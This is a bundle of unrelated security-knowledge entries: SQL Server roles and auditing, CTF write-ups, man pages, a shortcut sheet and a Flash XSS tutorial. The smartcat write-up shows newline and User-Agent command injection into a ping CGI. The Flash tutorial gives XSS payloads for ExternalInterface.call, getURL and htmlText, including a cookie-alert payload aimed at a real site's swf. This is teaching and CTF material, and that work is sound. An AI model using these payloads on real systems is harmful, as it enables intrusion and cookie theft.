存储过程为数据库提供了强大的功能，但在相应的权限下，攻击者可以利用不同的存储过程执行不同的高级功能，如：创建数据库用户、枚举文件目录、执行任意系统命令等。正因如此，SQLserver2005、2008 等之后的版本分别对存储过程做了权限控制，以防滥用。
---
## 角色
角色是为了方便权限管理而设置的一种管理单位，可使一组登录账户或数据库用户在数据库服务器或数据库对象上具有相同的权限。
按权限作用范围可分为固定服务器角色与固定数据库角色，其作用范围分别为整个数据库服务器与单个数据库。
数据库角色除了固定角色外，还有一种角色是用户定义的数据库角色，可以创建、修改或删除。
**固定服务器角色**
必须使登录账户成为某个固定服务器角色的成员，才能使它们具有操作数据库服务器的权限。
- sysadmin 执行 SQL Server 中的任何动作
- serveradmin 配置服务器设置
- setupadmin 安装复制和管理扩展过程
- securityadmin 管理登录和创建数据库等
- processadmin 管理 SQL Server 进程
- dbcreator 创建和修改数据库
- diskadmin 管理磁盘文件
- bulkadmin 有权执行 BULK INSERT 语句
**固定数据库角色**
固定数据库角色在数据库层上进行定义，作用范围仅限于每个单独的数据库中，相互没有影响。
- db_owner 执行数据库中技术所有动作
- db_accessadmin 添加、删除用户
- db_datareader 查看所有数据库中用户表内数据
- db_datawriter 添加、修改或删除所有数据库中用户表内数据
- db_ddladmin 执行所有 DDL 操作
- db_securityadmin 管理数据库中与安全权限有关所有动作
- db_backoperator 备份数据库
- db_denydatareader 不能看到数据库中任何数据
- db_denydatawriter 不能改变数据库中任何数据
---
## 身份验证方式
SQL Server 两种身份验证方式
- Windows 身份验证 : 用户只要通过操作系统的登录验证，就可以连接到 SQL Server 服务器。
- SQLServer 身份验证 : 即使用户通过了操作系统的登录验证，也必须输入有效的 SQL Server 专用登录名与密码。
---
## 补丁
SQL Server 补丁相关概念
- RTM： 表示 Release to Manufacturing ，这是产品的原始发布版本，当从光盘或 MSDN 下载的默认版本。
- Hotfix：需要修复的某个问题，每年 SQL Server 会出现许多 bug 或漏洞，这些问题的修复则被定义为 Hotfix。
- Cumulative Update（CU）：累计更新包，由 Hotfix 组成。CU 每 8 个星期发布一次，每个最新的 CU 版本都包含之前的 CU 中的 Hotfix。
- Service Package（SP）： SP 是集成 Hotfix 最多的包，这些 Hotfix 是经过官方完整测试过的。
---
## 审计
审计（Audit）用于追踪和记录SQL Server实例，或者单个数据库中发生的事件（Event），审计运作的机制是通过捕获事件（Event），把事件包含的信息写入到事件日志（Event Log）或审计文件（Audit File）中，为review提供最真实详细的数据。
审计主要包含服务器审计对象（Server Audit，简称审计对象）、服务器级别的审计规范（Server Audit Specification）、数据库级别的审计规范（Database Audit Specification）和目标（Target）。
- 审计对象是在服务器级别上创建的对象，必须启用，用于指定审计数据的存储方式和存储路径，并提供工具查看审计数据。
- 服务器级别的审计规范用于记录服务器级别的事件（Event），
- 数据库级别的审计规范用于记录数据库级别的事件，
- Target是指用于存储Audit数据的媒介，可以是File、Windows Security Event Log 或 Windows Application Event Log，常用的Target是File。
SQL Server使用 Extended Events来帮助创建审计，也就是说，审计是在扩展事件的基础上设计的功能，专门用于审核数据库的安全。为了启用审计，首先需要创建一个SQL Server 实例级的审计对象，然后创建从属于它的“服务器审计规范”或“数据库审计规范”，审计输出的结果数据可以存储到审计文件（File）、安全日志（Security Log）和应用程序日志（Application Log）中。
---
## Source & Reference
- [理解SQL Server中的权限体系(上)----主体](https://www.cnblogs.com/CareySon/archive/2012/04/10/mssql-security-principal.html)
- [理解SQL Server中的权限体系(下)----安全对象和权限](https://www.cnblogs.com/CareySon/archive/2012/04/12/SQL-Security-SecurableAndPermission.html)
- [SQL Server 审计 第一篇：介绍（Audit）](https://www.cnblogs.com/ljhdo/p/14085487.html)
- [SQL Server 审计 第二篇： 创建审计](https://www.cnblogs.com/ljhdo/p/5721668.html)
- [SQL Server 审计 第三篇：查看审计数据](https://www.cnblogs.com/ljhdo/p/13232283.html)
- https://mp.weixin.qq.com/s/5LmC_-KK3SMjtxAGG-I4ag
|
sec-knowleage
|
---
title: Principle
date: 2022-11-23 16:23:31.698567
background: bg-[#b245c6]
label: Mac
tags:
-
- mac
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 30 keyboard shortcuts found in Principle. This application is MacOS-only.
---
Keyboard Shortcuts
------------------
### Layers {.row-span-2}
Shortcut | Action
---|---
`R` | Add rectangle
`Opt` `R` | Add rectangle as a child
`T` | Add text
`Opt` `T` | Add text as a child
`A` | Add artboard
`Cmd` `G` | Group
`Cmd` `Shift` `G` | Ungroup
`Cmd` `]` | Bring forward
`Cmd` `Shift` `]` | Bring to front
`Cmd` `[` | Send backward
`Cmd` `Shift` `[` | Send to back
{.shortcuts}
### Editing
Shortcut | Action
---|---
`(arrows)` | Nudge
`Shift` `(arrows)` | Large nudge
`Cmd` `D` | Duplicate
`Cmd` `R` | Rename layer
{.shortcuts}
### Canvas Navigation
Shortcut | Action
---|---
`Space` `(drag)` | Pan
`Cmd` `=` | Zoom in
`Cmd` `-` | Zoom out
`Cmd` `1` | Zoom all
`Cmd` `2` | Zoom selection
`Cmd` `3` | Center selection
`Cmd` `0` | Zoom to actual size
{.shortcuts}
### Selection
Shortcut | Action
---|---
`Esc` | Select parent
`Enter` | Select child
`Tab` | Select next sibling
`Shift` `Tab` | Select previous sibling
`Cmd` `A` | Select all siblings
{.shortcuts}
### Preview
Shortcut | Action
---|---
`W` | Rewind prototype
`Ctrl` `V` | Start recording video
`Ctrl` `Opt` `V` | Start recording video without cursor
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Principle](https://principleformac.com/docs.html#shortcuts) _(principleformac.com)_
|
sec-knowleage
|
# Brainary
Category: Cryptography
## Description
> It stares at the endless abyss of darkness. The abyss reflects. Knowing it can never see light again, it seeks the truth.
>
> The universe reveals its mysteries through endless streams of numericals.
>
> Burned with the passion to learn, the raven child seeks new ways to reach out.
A text file was attached.
## Solution
Let's check the attached file:
```console
root@kali:/media/sf_CTFs/technion/Brainary# cat brainary.txt
⠴⠂⠴⠂⠂⠴⠴⠂⠀⠴⠴⠂⠂⠴⠴⠂⠂⠀⠴⠂⠴⠴⠂⠂⠂⠴⠀⠴⠴⠂⠂⠴⠴⠴⠴⠀⠴⠂⠴⠂⠂⠴⠂⠴⠀⠴⠂⠴⠂⠴⠂⠂⠂⠀⠴⠂⠴⠴⠂⠂⠂⠴⠀⠴⠂⠂⠴⠂⠂⠂⠂⠀⠴⠂⠂⠴⠴⠴⠂⠴⠀⠴⠂⠂⠴⠂⠂⠴⠂⠀⠴⠂⠂⠴⠂⠂⠴⠴⠀⠴⠂⠂⠂⠴⠂⠂⠴⠀⠴⠂⠂⠴⠴⠴⠂⠴⠀⠴⠂⠂⠴⠂⠂⠂⠴⠀⠴⠂⠂⠂⠴⠂⠴⠴⠀⠴⠴⠂⠂⠴⠴⠴⠴⠀⠴⠂⠂⠴⠴⠴⠴⠂⠀⠴⠂⠴⠴⠴⠂⠂⠂⠀⠴⠂⠴⠂⠴⠂⠂⠴⠀⠴⠂⠂⠴⠴⠂⠂⠴⠀⠴⠂⠂⠴⠴⠂⠴⠴⠀⠴⠂⠴⠴⠴⠂⠂⠂⠀⠴⠂⠂⠴⠂⠴⠴⠴⠀⠴⠂⠂⠂⠴⠴⠴⠴⠀⠴⠂⠂⠴⠴⠴⠂⠂⠀⠴⠂⠂⠴⠂⠂⠴⠂⠀⠴⠂⠴⠂⠴⠴⠂⠴⠀⠴⠂⠂⠴⠴⠂⠂⠴⠀⠴⠂⠴⠂⠂⠴⠂⠴⠀⠴⠂⠴⠂⠂⠴⠴⠴⠀⠴⠂⠂⠴⠂⠂⠴⠴⠀⠴⠂⠂⠴⠂⠂⠴⠴⠀⠴⠂⠴⠂⠂⠴⠴⠴⠀⠴⠴⠂⠂⠴⠴⠂⠴⠀⠴⠂⠂⠴⠂⠴⠴⠴⠀⠴⠂⠂⠴⠂⠴⠴⠴⠀⠴⠂⠂⠴⠴⠴⠂⠂⠀⠴⠴⠂⠂⠴⠴⠴⠂⠀⠴⠴⠂⠂⠂⠴⠴⠂⠀⠴⠂⠂⠴⠂⠴⠴⠴⠀⠴⠂⠂⠴⠴⠂⠴⠴⠀⠴⠴⠂⠂⠴⠴⠂⠴⠀⠴⠂⠴⠴⠴⠂⠂⠴⠀⠴⠂⠂⠂⠴⠴⠂⠴⠀⠴⠂⠴⠂⠂⠴⠂⠴⠀⠴⠂⠴⠂⠴⠂⠂⠂⠀⠴⠴⠂⠂⠴⠂⠴⠂⠀⠴⠂⠂⠴⠂⠂⠴⠴⠀⠴⠂⠴⠂⠂⠴⠂⠴⠀⠴⠂⠴⠴⠂⠴⠴⠴⠀⠴⠴⠂⠂⠴⠴⠴⠴⠀⠴⠴⠂⠂⠂⠂⠴⠂
```
Looks like braille. It can be decoded with CyberChef:
```console
root@kali:/media/sf_CTFs/technion/Brainary# export NODE_PATH=$(npm root --quiet -g)
root@kali:/media/sf_CTFs/technion/Brainary# node
> const chef = require("cyberchef");
undefined
> const fs = require('fs');
> const b = fs.readFileSync('brainary.txt', 'utf8');
```
Let's decode as Braille:
```javascript
> chef.fromBraille(b)
01011001 00110011 01001110 00110000 01011010 01010111 01001110 01101111 01100010 01101101 01101100 01110110 01100010 01101110 01110100 00110000 01100001 01000111 01010110 01100110 01100100 01000111 01101000 01110000 01100011 01101101 01010010 01100110 01011010 01011000 01101100 01101100 01011000 00110010 01101000 01101000 01100011 00110001 00111001 01101000 01100100 00110010 01000110 01110010 01011010 01010111 00110101 01101100 01011010 01001000 00110000 00111101
```
Now it looks like binary:
```javascript
> chef.bake(b, [chef.fromBraille, chef.fromBinary])
Y3N0ZWNobmlvbnt0aGVfdGhpcmRfZXllX2hhc19hd2FrZW5lZH0=
```
Now it looks like Base64:
```javascript
> chef.bake(b, [chef.fromBraille, chef.fromBinary, chef.fromBase64])
cstechnion{the_third_eye_has_awakened}
```
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "CREATE GROUP" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
CREATE GROUP \- 定义一个新的用户组
.SH SYNOPSIS
.sp
.nf
CREATE GROUP \fIname\fR [ [ WITH ] \fIoption\fR [ ... ] ]
where \fIoption\fR can be:
SYSID \fIgid\fR
| USER \fIusername\fR [, ...]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBCREATE GROUP\fR 将在数据库集群上创建一个新组。 要使用这条命令，你必须是数据库超级用户。
.PP
使用 ALTER GROUP [\fBalter_group\fR(7)] 修改组成员，DROP GROUP [\fBdrop_group\fR(7)] 删除一个组。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
组名。
.TP
\fB\fIgid\fB\fR
SYSID 子句可以用于选择 PostgreSQL 里新组的组标识（group ID）。 不过，这样做不是必须的。
如果没有声明这个，将使用从 1 开始的，已分配的最高组标识加一作为缺省值。
.TP
\fB\fIusername\fB\fR
包括到组里面的用户列表。用户必须已经存在。
.SH "EXAMPLES 例子"
.PP
创建一个空组：
.sp
.nf
CREATE GROUP staff;
.sp
.fi
.PP
创建一个有成员的组：
.sp
.nf
CREATE GROUP marketing WITH USER jonathan, david;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
SQL 标准中没有 CREATE GROUP 。Roles 在概念上与组类似。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
spell
===
对文件进行拼写检查
## 补充说明
**spell命令** 对文件进行拼写检查，并把拼写错误的单词输出。
### 语法
```shell
spell(参数)
```
### 参数
文件：指定需要进行拼写检查的文件。
|
sec-knowleage
|
# m00nwalk
Forensics, 250 points
## Description:
> Decode this message from the moon.
A WAV file was attached.
Hints:
* How did pictures from the moon landing get sent back to Earth?
* What is the CMU mascot?, that might help select a RX option
## Solution:
Nothing meaningful can be identified listening to the file. Also visualizing the file didn't lead anywhere. The hint suggests that this is related to how images from the moon landing were transmitted back to earth. Some research leads to [SSTV](https://en.wikipedia.org/wiki/Slow-scan_television):
> Slow Scan television (SSTV) is a picture transmission method used mainly by amateur radio operators, to transmit and receive static pictures via radio in monochrome or color.
> The Apollo TV cameras used SSTV to transmit images from inside Apollo 7, Apollo 8, and Apollo 9, as well as the Apollo 11 Lunar Module television from the Moon.
[This tutorial](https://ourcodeworld.com/articles/read/956/how-to-convert-decode-a-slow-scan-television-transmissions-sstv-audio-file-to-images-using-qsstv-in-ubuntu-18-04) explains how to use a program called `qsstv` to convert the audio files back to images.
In short:
```console
root@kali:/media/sf_CTFs/pico/m00nwalk# apt-get install qsstv
root@kali:~# pactl load-module module-null-sink sink_name=virtual-cable
22
root@kali:~# pavucontrol # A GUI will pop-up, go to the "Output Devices" tab to verify that you have the "Null Output" device
root@kali:~# qsstv # The program GUI will pop-up, go to "Options" -> "Configuration" -> "Sound" and select the "PulseAudio" Audio Interface
root@kali:~# # Back in the pavucontrol GUI, select the "Recording" tab and specify that QSSTV should capture audio from the Null Output
```
The hint asked "What is the CMU mascot?" - the answer is "Scotty the Scottie Dog". This hinted that we should select "Scottie 1" as QSSTV's "Mode". I also had to select "Auto Slant" via trial and error.
At this point we can click the "Play" button in QSSTV to start the receiver, and then play the audio file:
```console
root@kali:/media/sf_CTFs/pico/m00nwalk# paplay -d virtual-cable message.wav
```
The image is received and decoded by the program:
After the transmission has ended, we can cleanup by using the following commands:
```console
root@kali:/media/sf_CTFs/pico# pactl list short modules | grep null
22 module-null-sink sink_name=virtual-cable
root@kali:/media/sf_CTFs/pico# pactl unload-module 22
```
The flag: `picoCTF{beep_boop_im_in_space}`
|
sec-knowleage
|
##smartcat (Web, 50+50p)
###PL
[ENG](#eng-version)
W zadaniu dostajemy do dyspozycji webowy interfejs (CGI) pozwalający pignować wskazanego hosta.
Domyślamy się, że pod spodem operacja jest realizowana jako wywołanie `ping` w shellu z doklejonym podanym przez nas adresem.
#### Smartcat1
Pierwsza część zadania polega na odczytaniu flagi znajdującej się w nieznanym pliku, więc wymaga od nas jedynie możliwości czytania plików.
Operatory:
$;&|({` \t
są zablokowane, ale zauważamy, że znak nowej linii `\n` jest wyjątkiem.
Możemy dzięki temu wykonać dowolną komendę podając na wejściu np.
`localhost%0Als`
Co zostanie potraktowane jako 2 osobne komendy - `ping localhost` oraz `ls`
Wywołanie `ls` pozwala stwierdzić, że w bierzącym katalogu jest katalog `there`, ale nie mamy możliwości listować go bez użycia spacji. Po chwili namysłu wpadliśmy na pomysł żeby użyć programu `find` który dał nam:
```
.
./index.cgi
./there
./there/is
./there/is/your
./there/is/your/flag
./there/is/your/flag/or
./there/is/your/flag/or/maybe
./there/is/your/flag/or/maybe/not
./there/is/your/flag/or/maybe/not/what
./there/is/your/flag/or/maybe/not/what/do
./there/is/your/flag/or/maybe/not/what/do/you
./there/is/your/flag/or/maybe/not/what/do/you/think
./there/is/your/flag/or/maybe/not/what/do/you/think/really
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag
```
Pozostało nam tylko wywołać `cat<./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag` i uzyskać flagę:
`INS{warm_kitty_smelly_kitty_flush_flush_flush}`
#### Smartcat2
Druga część zadania jest trudniejsza, ponieważ treść sugeruje, że musimy odczytać flagę przez coś znajdującego się w katalogu `/home/smartcat/` oraz, że potrzebny będzie do tego shell.
Zauważamy po pewnym czasie, że możemy tworzyć pliki w katalogu `/tmp`.
Możemy także uruchamiać skrypty shell przez `sh<script.sh`, ale nadal mieliśmy problem z tym, jak umieścić w skrypcie interesującą nas zawartość.
Wreszcie wpadliśmy na to, że istnieją pewne zmienne, na których zawartość możemy wpłynąć - nagłówki http.
W szczególności możemy w dowolny sposób ustawić swój `user-agent`.
Następnie możemy zawartość zmiennych środowiskowych wypisać przez `env` a wynik tej operacji zrzucić do pliku w `tmp`, a potem uruchomić przez `sh</tmp/ourfile`.
Pierwsza próba zawierająca user-agent: `a; echo "koty" >/tmp/msm123; a` zakończyła się sukcesem.
Mogliśmy więc z powodzeniem wykonać dowolny kod, w tym użyć `nc` lub `pythona` do postawienia reverse-shell. Zamiast tego najpierw wylistowaliśmy katalog `/home/smartcat/` znajdując tam program `readflag`, który przed podaniem flagi wymagał uruchomienia, odczekania kilku sekund i przesłania komunikatu.
Wysłaliśmy więc na serwer skrypt, który wykonywał właśnie te czynności z podanym programem i dostaliśmy:
Flag:
___
.-"; ! ;"-.
.'! : | : !`.
/\ ! : ! : ! /\
/\ | ! :|: ! | /\
( \ \ ; :!: ; / / )
( `. \ | !:|:! | / .' )
(`. \ \ \!:|:!/ / / .')
\ `.`.\ |!|! |/,'.' /
`._`.\\\!!!// .'_.'
`.`.\\|//.'.'
|`._`n'_.'| hjw
"----^----"
`INS{shells_are _way_better_than_cats}`
###ENG version
In the task we get a web interface (CGI) for pinging selected host.
We predict that underneath this is calling `ping` from shell with adress we give.
#### Smartcat1-eng
First part of the task requires reading a flag residing in an unknown file, so we only need to be able to read files.
In the web interface characters
$;&|({` \t
are blocked, but we notice that newline character `\n` or `%0A` is an exception.
Thanks to that we can execute any command we want by using input:
`localhost%0Als`
This will be executed as 2 separate commands - `ping localhost` and `ls`
Calling `ls` shows us that in currend directory there is a `there` directory, but we can't list it since we can't use space. After a while we figure that we could use `find` which gived us:
.
./index.cgi
./there
./there/is
./there/is/your
./there/is/your/flag
./there/is/your/flag/or
./there/is/your/flag/or/maybe
./there/is/your/flag/or/maybe/not
./there/is/your/flag/or/maybe/not/what
./there/is/your/flag/or/maybe/not/what/do
./there/is/your/flag/or/maybe/not/what/do/you
./there/is/your/flag/or/maybe/not/what/do/you/think
./there/is/your/flag/or/maybe/not/what/do/you/think/really
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag
We call: `cat<./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag` and get flag:
`INS{warm_kitty_smelly_kitty_flush_flush_flush}`
#### Smartcat2-eng
Second part is more difficult, since we task suggests we need to get the flag using something in `/home/smartcat/` dir and that we will need a shell for that.
After some work we notice that we can create files in `/tmp`.
We can also call shellscripts by `sh<scrupt.sh`, but we still didn't know how to place data we want inside the file.
Finally we figured that there are some environmental variables that we can set - http headers.
In particular we can set `user-agent` to any value we want.
We can then list those variables by `env` and save result of this operation to a file in `/tmp` and then run with `sh</tmp/ourfile`.
First attempt containing: `a; echo "koty" >/tmp/msm123; a` was successful.
Therefore, we could execute any code, including using `nc` or `python` to set a reverse-shell. Instead we started with listing `/home/smartcat/` directory, finding `readflag` binary, which requires us to execute it, wait few seconds and then send some message to get the flag.
Instead of the shell we simply sent a script which was doing exactly what `readflag` wanted and we got:
Flag:
___
.-"; ! ;"-.
.'! : | : !`.
/\ ! : ! : ! /\
/\ | ! :|: ! | /\
( \ \ ; :!: ; / / )
( `. \ | !:|:! | / .' )
(`. \ \ \!:|:!/ / / .')
\ `.`.\ |!|! |/,'.' /
`._`.\\\!!!// .'_.'
`.`.\\|//.'.'
|`._`n'_.'| hjw
"----^----"
`INS{shells_are _way_better_than_cats}`
|
sec-knowleage
|
expected = 'efda2f556de36b9e9e1d62417c5f282d8961e2f8' # level 1
expected = '354ebf392533dce06174f9c8c093036c138935f3' # level 2
expected = 'd961f81a588fcfd5e57bbea7e17ddae8a5e61333' # level 3
expected = 'f8d0839dd728cb9a723e32058dcc386070d5e3b5' # level 4
d = open('sharp_v4_f8d0_8096').read()
def githash(d):
import hashlib
return hashlib.sha1('blob {}\0{}'.format(len(d), d)).hexdigest()
def bitflips(dat):
for i in range(len(dat)):
c = ord(dat[i])
for bit in range(256):
cc = chr(bit)
dd = dat[:i] + cc + dat[i+1:]
yield dd
for f in bitflips(d):
if githash(f) == expected:
print f
|
sec-knowleage
|
原文 by MayIKissYou
## 0x01 HTML中嵌入FLASH
在HTML中嵌入FLASH的时候在IE和非IE浏览器下嵌入的方式有所不同，可以使用embed 标签和object 标签，使用如下的代码进行嵌入：
IE下嵌入
``` html
<object codeBase="http://fpdownload.macromedia.com/get/Flashplayer/current/swFlash.cab#version=8,0,0,0"
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">
<param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
```
非IE下嵌入
``` html
<object type="application/x-shockwave-Flash" data="./trace.swf">
<param name="movie" value = "./trace.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
```
可以直接浏览器查看swf 源码 view-source:http://183.60.83.233/ZeroClipboard.swf ，可以看到是CWS开头的一段乱码，即编译好的 action script 2/3 代码。
在插入Flash的过程中有两个重要的参数，allowScriptAccess 和 allowNetworking 两个参数：
allowScriptAccess：控制html页面与Flash页面的通讯：
always：html和Flash页面的通讯不做任何的限制；
samedomain：html和Flash同域的时候可以做通讯【这个值是默认值】；
never：html和Flash禁止通讯。
allowNetworking：控制Flash与外部的网络通讯：
all：Flash所有的网络API通讯接口都可用；
internal：navigateToURL，fscommand，ExternalInterface.call不可用；
none：所有的网络API不可用。
以chrome浏览器为例来验证以上参数，首先在本地搭建环境，并且新建一个Flash文件，Flash文件包括的内容主要是使用 ExternalInterface.call 执行一个js语句，弹出当前域的域名。
1）：插入本地的Flash文件。
``` html
<object type="application/x-shockwave-Flash" data="./trace.swf">
<param name="movie" value = "./trace.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
```
运行结果：
2）：插入本地的Flash，将allowScriptAccess参数改为samedomain。
``` html
<object type="application/x-shockwave-Flash" data="./trace.swf">
<param name="movie" value = "./trace.swf" />
<param name="allowScriptAccess" value="samedomain" />
<param name="allowNetworking" value="all" />
```
运行结果：
Html界面与Flash属于同域，因此能够弹出。
3）：插入本地Flash，将allowScriptAccess改为never。
``` html
<object type="application/x-shockwave-Flash" data="./trace.swf">
<param name="movie" value = "./trace.swf" />
<param name="allowScriptAccess" value="never" />
<param name="allowNetworking" value="all" />
</object>
```
运行结果没有弹出。
4）：插入远程Flash，将allowScriptAccess改为always。
``` html
<object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
<param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
```
运行结果：
注意这里弹出的域为当前html的域名，非Flash的域。
但如果用 iframe 来嵌入 flash 的话，运行你会发现，弹出的是新浪域的cookie。
``` html
<iframe/src="http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){alert
(document.cookie)})()"></iframe>
```
5）：插入远程Flash，将allowScriptAccess改为samedomain
``` html
<object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
<param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" />
<param name="allowScriptAccess" value="samedomain" />
<param name="allowNetworking" value="all" />
</object>
```
运行结果没有弹出，因为Flash的域不和html在同一域内。
6）：插入远程Flash，将allowScriptAccess改为never
``` html
<object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
<param name="movie" value = "http://xxxxx.sinaapp.com/trace.swf" />
<param name="allowScriptAccess" value="never" />
<param name="allowNetworking" value="all" />
</object>
```
运行结果没有弹出，由于禁止了与html界面通讯。
7）：将allowScriptAccess置为always，将allowNetworking置为internal
``` html
<object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
<param name="movie" value = "http://xxxxx.sinaapp.com/trace.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="internal" />
```
运行结果没有弹出，allowNetworking的参数置为internal，禁止了接口ExternalInterface.all。
## 0x02 常见Flash xss分类总结Flash缺陷参数-getURL
Flash提供相关的函数，可以执行js代码，getURL【AS2中支持】，navigateToURL【AS3中支持】，ExternalInterface.call。
本着学习的原则本地搭建实践了下： 本地新建了个Flash，Flash调用外部资源xml文件。 Flash代码：
``` actionScript
var root_xml:XML = new XML();
root_xml.ignoreWhite = true;
root_xml.onLoad = function(success){
if(success){
getURL(root_xml.childNodes[0].childNodes[0].childNodes[0].nodeValue)
}else{
getURL("javascript:alert('fail')")
}
}
root_xml.load(_root.url);
```
xml文件：
``` xml
<?xml version="1.0" encoding="utf-8" ?>
<data>
<link>javascript:alert('xss')</link>
</data>
```
运行结果：
PS.此类问题一般可以使用google搜索xml文件被swf 调用的情况，传入的内容如果没做过滤，很可能出现此类问题。
如果我们的 a.xml 是放在 A 站点，则需要在 A 站点根目录下的 crossdomain.xml 配置一下 allow-access-from 选项。
### Flash缺陷参数-ExternalInterface.call(参数一)
ExternalInterface.call 同样是一个Flash提供的可以执行js的接口函数， ExternalInterface.call函数有两个参数，形如 ExternalInterface.call("函数名","参数1")。
Flash最后执行的JS代码如下：
`try { __Flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }`
此段先考虑参数1，即函数名。
本着学习的原则，本地搭建实践了下： Flash文件：
``` actionScript
var a:String = root.loaderInfo.parameters.func
if(ExternalInterface.available){
ExternalInterface.call(a)
} else {
trace(100)
}
stop()
```
从外部获取参数func，使用ExternalInterface.call接收第一个参数，执行。
对比：
`try { __Flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }`
创建url：
`http://192.168.4.70/ExternalInterface_first.swf?func=alert(1))}catch(e){alert(100)}//`
这样实际执行的js代码为：
```
try { __Flash__toXML(alert(1))}catch(e){alert(100)}// ("参数1")) ; } catch (e) { "<undefined/>"; }`
http://192.168.4.70/ExternalInterface_first.swf?func=a1lert(1))}catch(e){alert(100)}//`
try { __Flash__toXML(a1lert(1))}catch(e){alert(100)}// ("参数1")) ; } catch (e) { "<undefined/>"; }`
```
预期结果应该是第一个url执行之后弹出数字1，第二个url执行之后弹出数字100。
访问 `http://192.168.4.70/ExternalInterface_first.swf?func=alert(1))}catch(e){alert(100)}//`
访问 `http://192.168.4.70/ExternalInterface_first.swf?func=a1lert(1))}catch(e){alert(100)}//`
和预期结果一样。
### Flash缺陷参数-ExternalInterface.call(参数二)
有时候当反编译swf 之后，会发现可控的参数的输出位置在ExternalInterface.call 函数的第二个参数，方法和思路与第一个参数的时候类似。
Flash文件：
``` actionScript
var a:String = root.loaderInfo.parameters.par
if(ExternalInterface.available){
ExternalInterface.call("alert",a)
} else {
trace(100)
}
stop()
```
Flash文件中的a是从外部获取的参数，此处外部获取的参数par 赋值给了a，作为输出点输出到了ExternalInterface的第二个参数的位置，此处相对于第一个参数的不同之处是，此处的输出点在引号中，因此此处我们需要把引号闭合掉。闭合引号使用的方法是`\"` 这样会被转义为 `\\"`，这样就可以闭合引号。
根据ExternalInterface.call 的调用原型：
`try { __Flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }`
我们将参数输入如下的url：
`http://192.168.4.70/ExternalInterface_second.swf?par=1111\%22),al)}catch(e){alert(1000)}//`
分析应该执行如下：
``` actionScript
try{
__Flash__toXML(alert("1111\\"),al
}
catch(e){
alert(1000)
}
```
如此下来应该就会弹出两个框，一个为`1111\`，另外一个为1000。 运行结果，弹出`1111\`：
点击确定，弹出1000：
PS. 此处ExternalInterface.call 调用的函数名，编写Flash的时候设置了alert，因此此处会弹两次，一般情况下函数名是不能够被控制的，这样我们使得前面的函数执行异常，执行catch中的js 即可，如 `http://static.video.qq.com/QQPlayer.swf?v=\%22));}catch%20(e){alert(1);}//`，如果参数值是从xml 文件节点读取，可以将节点写成 `<menu name="日 志" href="构造点\"))}catch(e){alert(1)}//构造点" />`。
类似的闭合情形：
`try { __flash_toXML(SWFUpload.instances[""])}catch(e){alert(1);}//"]).flashReady("参数1")) ; } catch(e) { "<undefined>" }`
利用：`swfupload.swf?movieName="])}catch(e){alert(1);}//`
### Flash缺陷参数-htmlText
Flash支持在Flash里内嵌html，支持的标签img标签，a标签等。 img标签可以通过src参数引入一个Flash文件，类似与XSF一样。
本着学习的原则，本地创建了Flash文件，
``` actionScript
import fl.controls.TextArea;
var a:String = root.loaderInfo.parameters.url
var t:TextArea = new TextArea()
t.width = 500
t.height = 300
t.htmlText += a
addChild(t)
```
从获取URL中的参数url，赋值给a，变量a直接输出到了Textarea t 中。 访问如下url：
`http://192.168.4.70/htmltext.swf?url=%3Cimg%20src=%27./trace.swf%27%3E`
访问结果如下：
PS.当反编译Flash文件，发现htmltext 输出点的时候，可以查看相关是否存在相关的可控的输入，可能存在xss。
